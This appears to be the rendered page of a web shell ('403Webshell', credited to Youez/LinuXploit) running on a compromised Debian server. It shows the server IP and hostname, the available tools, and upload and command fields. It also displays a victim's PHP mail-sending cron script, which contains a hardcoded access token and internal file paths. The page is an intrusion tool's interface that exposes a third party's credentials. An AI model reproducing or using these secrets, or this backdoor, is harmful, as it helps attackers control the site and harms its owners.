403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside.pacim.de/web/crons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside.pacim.de/web/crons/sendMails.php.save
<?php
if( !isset( $_GET['token'] ) || ( isset( $_GET['token'] ) && $_GET['token'] != "eFD6dx2G4RFBkrYS7Z87" ) ) die();

require_once("../includes/config.inc.php");

global $oData;

$mysql = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );


$arrMails = $oData->rawQuery("
    SELECT
        message_id,
        message_invoice,
        message_template
    FROM pacim_messages
    WHERE message_status = 0
        AND message_template IN (1,3,4,5,8,9,10)
    LIMIT 5
");

//print_r($arrMails);
//die();

if(!empty($arrMails)) {
    foreach($arrMails as $message) {


        sleep(1);
        if( in_array( $message['message_template'], array(3,4,5) ) ) {
            $oData->dataset( $message['message_invoice'] );
            sleep(1.5);
        }

        //open connection
        $ch = curl_init(SITE_URL . "/ajax_request.php?token=" . $_GET['token']);
        curl_setopt( $ch, CURLOPT_POST, 1 );
        curl_setopt( $ch, CURLOPT_POSTFIELDS, array('mail_id' => $message['message_id']));
        $result = curl_exec( $ch );
        curl_close($ch);

        $mysql->where('message_id', $message['message_id']);
        $mysql->update('pacim_messages', array('message_status' => 1));
    }

    echo $result . "<hr />";
    echo count($arrMails) . " Mails versendet";
} else {
    echo "keine Mails zu versenden";
}

Youez - 2016 - github.com/yon3zu
LinuXploit